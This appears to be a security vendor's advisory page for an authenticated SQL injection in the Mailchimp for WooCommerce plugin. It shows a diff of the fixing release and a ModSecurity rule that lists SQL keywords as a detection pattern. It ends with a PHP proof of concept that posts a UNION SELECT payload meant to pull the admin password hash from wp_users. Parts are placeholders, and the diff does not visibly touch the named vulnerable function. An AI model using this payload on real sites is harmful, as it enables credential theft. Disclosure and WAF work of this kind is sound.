             $this->deleteCart(mailchimp_hash_trim_lower($user_email));
+            $this->cart_was_deleted = true;
         }
     }

 	/**
+	 * Fired on woocommerce_cart_item_removed.
+	 *
+	 * WooCommerce fires this before WC_Cart::calculate_totals() (priority 20) has run, and the
+	 * session copy of the cart is only rewritten by WC_Cart_Session::set_session() on
+	 * woocommerce_after_calculate_totals. Reading the session here would hand us the pre-removal
+	 * contents, so removing the last item looked like a normal update and the cart got deleted
+	 * and immediately re-added in Mailchimp. Read the live cart object instead.
+	 *
+	 * @param null $cart_item_key
+	 *
+	 * @return bool|mixed|null
+	 * @throws MailChimp_WooCommerce_Error
+	 * @throws MailChimp_WooCommerce_RateLimitError
+	 * @throws MailChimp_WooCommerce_ServerError
+	 */
+    public function handleCartItemRemoved($cart_item_key = null)
+    {
+        $cart = $this->getCartItems(true);
+
+        // if we couldn't read the live cart don't guess, and definitely don't delete anything.
+        if (!is_array($cart)) {
+            return false;
+        }
+
+        $this->cart = $cart;
+
+        if (empty($cart)) {
+            return $this->handleCartEmptied();
+        }
+
+        return $this->handleCartUpdated();
+    }
+
+	/**
+	 * Fired on woocommerce_cart_emptied, and from handleCartItemRemoved() when the last item goes.
+	 *
+	 * Nothing else was listening for this, so an "empty cart" action left the abandoned cart sitting
+	 * in Mailchimp and the shopper kept getting "you left something behind" emails.
+	 *
+	 * Careful with $clear_persistent_cart: WooCommerce also empties the cart on logout and when it
+	 * throws away an invalid session cookie (WC_Session_Handler::forget_session), and those go
+	 * through wc_empty_cart() which passes false so the persistent cart in usermeta survives. That
+	 * shopper has not abandoned anything, so we leave their Mailchimp cart alone. A real empty -
+	 * the Store API "remove all items" route, a post-payment clear, or an empty-cart plugin calling
+	 * WC()->cart->empty_cart() - passes true.
+	 *
+	 * @param bool $clear_persistent_cart
+	 *
+	 * @return bool
+	 * @throws MailChimp_WooCommerce_Error
+	 * @throws MailChimp_WooCommerce_RateLimitError
+	 * @throws MailChimp_WooCommerce_ServerError
+	 */
+    public function handleCartEmptied($clear_persistent_cart = true)
+    {
+        if (mailchimp_carts_disabled() || $this->is_admin || !mailchimp_is_configured()) {
+            return false;
+        }
+
+        // logout / session teardown - not an abandoned cart.
+        if (!$clear_persistent_cart || doing_action('wp_logout')) {
+            return false;
+        }
+
+        // the order flow already tears the cart down (onNewOrder + the Single_Order job), and
+        // WC_Checkout empties the cart right after, so don't pay for a second delete at checkout.
+        if ($this->cart_was_deleted) {
+            return false;
+        }
+
+        if (!($user_email = $this->getCurrentUserEmail())) {
+            return false;
+        }
+
+        if (mailchimp_email_is_privacy_protected($user_email)) {
+            return false;
+        }
+
+        $uid = mailchimp_hash_trim_lower($user_email);
+
+        // trackCart() writes the local row every time we post a cart, so no row means there is
+        // nothing in Mailchimp to delete. wc_clear_cart_after_payment() empties the cart on every
+        // single order-received page load, so without this we would fire a DELETE on each refresh.
+        if ($this->validated_cart_db && !$this->getCart($uid)) {
+            return false;
+        }
+
+        $this->cart = array();
+        $this->cart_was_deleted = true;
+
+        // drop the local row too, otherwise a later ?mc_cart_id= click re-hydrates the emptied
+        // cart into the woo session and pushes it straight back up to Mailchimp.
+        $this->deleteCart($uid);
+
+        if ($this->api()->deleteCartByID($this->getUniqueStoreID(), $uid)) {
+            mailchimp_log('ac.cart_emptied', "Deleted cart [$user_email] :: ID [$uid]");
+        }
+
+        return true;
+    }
+
+	/**
 	 * @param null $updated
 	 *
 	 * @return bool|mixed|null
@@ -284,6 +388,11 @@
                 $handler->setStatus($this->cart_subscribe);
                 $handler->prepend_to_queue = true;
                 mailchimp_handle_or_queue($handler);
+            } else {
+                // the cart is empty - the remote delete above already ran, but the local row has to
+                // go as well or a ?mc_cart_id= click will re-hydrate the emptied cart and re-post it.
+                $this->deleteCart($uid);
+                $this->cart_was_deleted = true;
             }

             return !is_null($updated) ? $updated : true;
@@ -736,7 +845,18 @@
     {
         if (!mailchimp_is_configured()) return;

-        $subscribed = (bool) isset($_POST['mailchimp_woocommerce_newsletter']) && $_POST['mailchimp_woocommerce_newsletter'];
+
+        if (isset($_POST['mailchimp_woocommerce_newsletter'])) {
+            $subscribed = (bool)isset($_POST['mailchimp_woocommerce_newsletter']) && $_POST['mailchimp_woocommerce_newsletter'];
+        } else {
+            // if no status posted, get the status from existing MC users
+            $user = new WP_User($user_id);
+            $email = $user->user_email;
+
+            $status = mailchimp_get_subscriber_status($email);
+
+            $subscribed = $status === 'subscribed';
+        }

         if (isset($_POST['mailchimp_woocommerce_newsletter']) && $_POST['mailchimp_woocommerce_newsletter']) {
             $gdpr_fields = isset($_POST['mailchimp_woocommerce_gdpr']) ?
@@ -833,10 +953,26 @@
     }

     /**
+     * @param bool $force_live read straight from the live WC_Cart object instead of the session copy.
+     *                         WooCommerce only writes the session copy on woocommerce_after_calculate_totals,
+     *                         so during woocommerce_cart_item_removed the session still holds the
+     *                         pre-removal contents and would make an emptied cart look populated.
      * @return bool|array
      */
-    public function getCartItems()
+    public function getCartItems($force_live = false)
     {
+        if ($force_live) {
+            if (!function_exists('WC') || !($woo = WC()) || !$woo->cart) {
+                return $this->cart = false;
+            }
+            $cart_session = array();
+            foreach ($woo->cart->get_cart() as $key => $values) {
+                $cart_session[$key] = $values;
+                unset($cart_session[$key]['data']); // Unset product object
+            }
+            return $this->cart = $cart_session;
+        }
+
         if (!($this->cart = $this->getWooSession('cart', false))) {
 			if (!function_exists('WC')) {
 				$this->cart = false;
--- a/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-sms-consent.php
+++ b/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce-sms-consent.php
@@ -68,6 +68,15 @@
         return static::$_instance;
     }

+    public function applySmsFieldToRegisterForm($form)
+    {
+        $show_field = apply_filters('mailchimp_woocommerce_account_register_sms_field_field', true);
+
+        if ($show_field) {
+            $this->applyField($form);
+        }
+    }
+
 	/**
 	 * @param $checkout
 	 */
@@ -79,9 +88,9 @@
         }

         // Check if merchant has approved SMS application
-//        if (!$this->merchantHasSmsApproved()) {
-//            return;
-//        }
+        if (!$this->merchantHasSmsApproved()) {
+            return;
+        }

         // Compliance: checkbox must always be unchecked by default, label and disclaimer are fixed
         $sms_label = __('Text me with news and offers', 'mailchimp-for-woocommerce');
@@ -388,7 +397,7 @@

     public static function isAllowedToUse()
     {
-        return mailchimp_sms_consent_enabled();
+        return mailchimp_sms_consent_active();
     }

     /**
@@ -400,6 +409,20 @@
     }

     /**
+     * @param $sanitized_user_login
+     * @param $user_email
+     * @param $reg_errors
+     */
+    public function processRegistrationForm($sanitized_user_login, $user_email, $reg_errors)
+    {
+        if (defined('WOOCOMMERCE_CHECKOUT')) {
+            return; // Ship checkout
+        }
+
+        $this->handleSmsStatus();
+    }
+
+    /**
      * Handle SMS subscription status from classic checkout
      *
      * @param null $order_id
--- a/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce.php
+++ b/mailchimp-for-woocommerce/includes/class-mailchimp-woocommerce.php
@@ -92,7 +92,7 @@
         $username = $is_options && array_key_exists('mailchimp_account_info_username', $plugin_options) ?
             $plugin_options['mailchimp_account_info_username'] : false;

-        $api_key_parts = str_getcsv($api_key, '-');
+        $api_key_parts = str_getcsv($api_key, '-', '"', '');
         $data_center = isset($api_key_parts[1]) ? $api_key_parts[1] : 'us1';

         return static::$logging_config = (object)array(
@@ -359,11 +359,12 @@
 			$this->loader->add_action($render_on, $service, 'applyNewsletterField');

 			$this->loader->add_action('woocommerce_ppe_checkout_order_review', $service, 'applyNewsletterField');
-			$this->loader->add_action('woocommerce_register_form', $service, 'applyNewsletterFieldToRegisterForm');

 			$this->loader->add_action('woocommerce_checkout_order_processed', $service, 'processNewsletterField', 10, 2);
 			$this->loader->add_action('woocommerce_ppe_do_payaction', $service, 'processPayPalNewsletterField');
-			$this->loader->add_action('woocommerce_register_post', $service, 'processRegistrationForm', 10, 3);
+
+            $this->loader->add_action('woocommerce_register_form', $service, 'applyNewsletterFieldToRegisterForm');
+            $this->loader->add_action('woocommerce_register_post', $service, 'processRegistrationForm', 10, 3);
 		}
 	}

@@ -376,13 +377,17 @@
             $sms_consent->setVersion($this->version);

             $render_on = $sms_consent->getOption('mailchimp_sms_consent_checkbox_action', 'woocommerce_after_checkout_billing_form');
-            $sms_consent_allowed = MailChimp_Sms_Consent::isAllowedToUse();
+            $sms_consent_allowed = mailchimp_sms_consent_enabled();

             if ($sms_consent_allowed) {
                 $this->loader->add_action($render_on, $sms_consent, 'applyField');

                 $this->loader->add_action('woocommerce_checkout_order_processed', $sms_consent, 'processSmsConsentField', 10, 2);
                 $this->loader->add_action('woocommerce_ppe_do_payaction', $sms_consent, 'processPayPalSmsConsentField');
+                $this->loader->add_action('woocommerce_register_post', $sms_consent, 'processRegistrationForm', 10, 3);
+
+                $this->loader->add_action('woocommerce_register_form', $sms_consent, 'applySmsFieldToRegisterForm');
+                $this->loader->add_action('woocommerce_register_post', $sms_consent, 'processRegistrationForm', 10, 3);
             }
         }
     }
@@ -424,7 +429,8 @@
             $this->loader->add_filter('woocommerce_update_cart_action_cart_updated', $service, 'handleCartUpdated');
 			$this->loader->add_action('woocommerce_cart_item_set_quantity', $service, 'handleCartUpdated');
 			$this->loader->add_action('woocommerce_add_to_cart', $service, 'handleCartUpdated');
-			$this->loader->add_action('woocommerce_cart_item_removed', $service, 'handleCartUpdated');
+			$this->loader->add_action('woocommerce_cart_item_removed', $service, 'handleCartItemRemoved');
+			$this->loader->add_action('woocommerce_cart_emptied', $service, 'handleCartEmptied');

 			// save post hooks
 			$this->loader->add_action('woocommerce_new_order', $service, 'handleOrderCreate', 200, 2);
--- a/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-abstract-sync.php
+++ b/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-abstract-sync.php
@@ -209,7 +209,9 @@
         foreach ($page->items as $resource) {
             switch ($this->getResourceType()) {
                case 'customers':
-                   mailchimp_handle_or_queue(new MailChimp_Woocommerce_Single_Customer($resource));
+                   $customer = new MailChimp_Woocommerce_Single_Customer($resource);
+                   $customer->set_full_sync(true);
+                   mailchimp_handle_or_queue($customer);
                    break;
                case 'coupons':
                     mailchimp_handle_or_queue(new MailChimp_WooCommerce_SingleCoupon($resource));
--- a/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-full-sync-manager.php
+++ b/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-full-sync-manager.php
@@ -100,6 +100,9 @@
 			$sync_started_at = Mailchimp_Woocommerce_DB_Helpers::get_option('mailchimp-woocommerce-sync.started_at');
 			$sync_completed_at = Mailchimp_Woocommerce_DB_Helpers::get_option('mailchimp-woocommerce-sync.completed_at');

+            // delete the initial sync flag
+            Mailchimp_Woocommerce_DB_Helpers::delete_option("mailchimp-woocommerce-sync.initial_sync");
+
 			$sync_total_time = $sync_completed_at - $sync_started_at;
 			$time = gmdate("H:i:s",$sync_total_time);

--- a/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-single-customer.php
+++ b/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-single-customer.php
@@ -4,6 +4,7 @@
 {
     public $customer_data;
     public $id;
+    public $is_full_sync = false;

     public function __construct($customer_lookup)
     {
@@ -11,6 +12,18 @@
         $this->id = $this->customer_data->customer_id;
     }

+    /**
+     * @param $is_full_sync
+     *
+     * @return $this
+     */
+    public function set_full_sync($is_full_sync)
+    {
+        $this->is_full_sync = $is_full_sync;
+
+        return $this;
+    }
+
     public function handle()
     {
         $this->process();
@@ -29,6 +42,9 @@
             return false;
         }

+        // make sure we tell the system this is a sync job and not a live job
+        $api->setIsSyncing($this->is_full_sync);
+
         $email = $this->customer_data->email;

         // make sure we don't need to skip this email
--- a/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-single-order.php
+++ b/mailchimp-for-woocommerce/includes/processes/class-mailchimp-woocommerce-single-order.php
@@ -99,6 +99,9 @@
             return false;
         }

+        // make sure we tell the system this is a sync job and not a live job
+        $api->setIsSyncing($this->is_full_sync);
+
         $store_id = mailchimp_get_store_id();

         // this will set the woo_order variable or return false.
--- a/mailchimp-for-woocommerce/mailchimp-woocommerce.php
+++ b/mailchimp-for-woocommerce/mailchimp-woocommerce.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Mailchimp for WooCommerce
  * Plugin URI:        https://mailchimp.com/connect-your-store/
  * Description:       Connects WooCommerce to Mailchimp to sync your store data, send targeted campaigns to your customers, and sell more stuff.
- * Version:           6.1.1
+ * Version:           6.2
  * Author:            Mailchimp
  * Author URI:        https://mailchimp.com
  * License:           GPL-2.0+
@@ -27,7 +27,7 @@
  * Requires at least: 6.2
  * Tested up to: 7.0
  * WC requires at least: 8.2
- * WC tested up to: 10.8
+ * WC tested up to: 11.0
  */

 // If this file is called directly, abort.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-73346
# Blocks SQL injection attempts against the mailchimp_get_wc_customer function
# by targeting the 'email' parameter when it contains SQL metacharacters.
# This rule is scoped to POST requests to admin-ajax.php to reduce false positives,
# as the vulnerable function is invoked through a WordPress AJAX handler.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-73346 SQL Injection attempt',severity:'CRITICAL',tag:'CVE-2026-73346'"
  SecRule ARGS_POST:action "@rx ^(?:get_customer_data|other_actions_that_trigger_vulnerability)$" "chain"
    SecRule ARGS:email "@rx (select|union|insert|update|delete|drop|--|#|/*|bORb|bANDb)" 
      "t:lowercase,t:removeWhitespace,msg:'CVE-2026-73346 SQL Injection blocked'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-73346 - Mailchimp for WooCommerce < 6.2 - Authenticated (Administrator+) SQL Injection

/**
 * Atomic Edge PoC for CVE-2026-73346
 * Exploits an authenticated SQL injection in the 'email' parameter
 * processed by the mailchimp_get_wc_customer function.
 *
 * Requirements:
 * - An active WordPress session cookie with Administrator privileges.
 */

// Target WordPress site URL
$target_url = 'http://your-wordpress-site.com';

// Endpoint that triggers customer data retrieval.
// Replace with the actual AJAX action or admin-ajax.php endpoint.
// This example uses an AJAX action 'get_customer_data' which calls the vulnerable function.
$endpoint_url = $target_url . '/wp-admin/admin-ajax.php';

// Your authenticated session cookie, e.g., 'wordpress_logged_in_...=...'
$auth_cookie = 'your_wordpress_auth_cookie_here';

// SQL injection payload. Attempts to extract administrator password hashes.
$sql_payload = "' UNION SELECT user_login, user_pass FROM wp_users WHERE user_login = 'admin' -- -";

// Build the POST data. The 'email' parameter is the injection point.
$post_data = [
    'action' => 'get_customer_data', // Replace with the actual action hook
    'email' => $sql_payload,
];

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HTTPHEADER => [
        'Cookie: ' . $auth_cookie,
        'Content-Type: application/x-www-form-urlencoded',
    ],
    CURLOPT_FOLLOWLOCATION => true,
]);

// Execute the request and capture the response
$response = curl_exec($ch);

// Check for cURL errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// Close the cURL session
curl_close($ch);

// Output the response. A successful exploit will return the admin's username and password hash.
echo "Response:n";
echo $response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.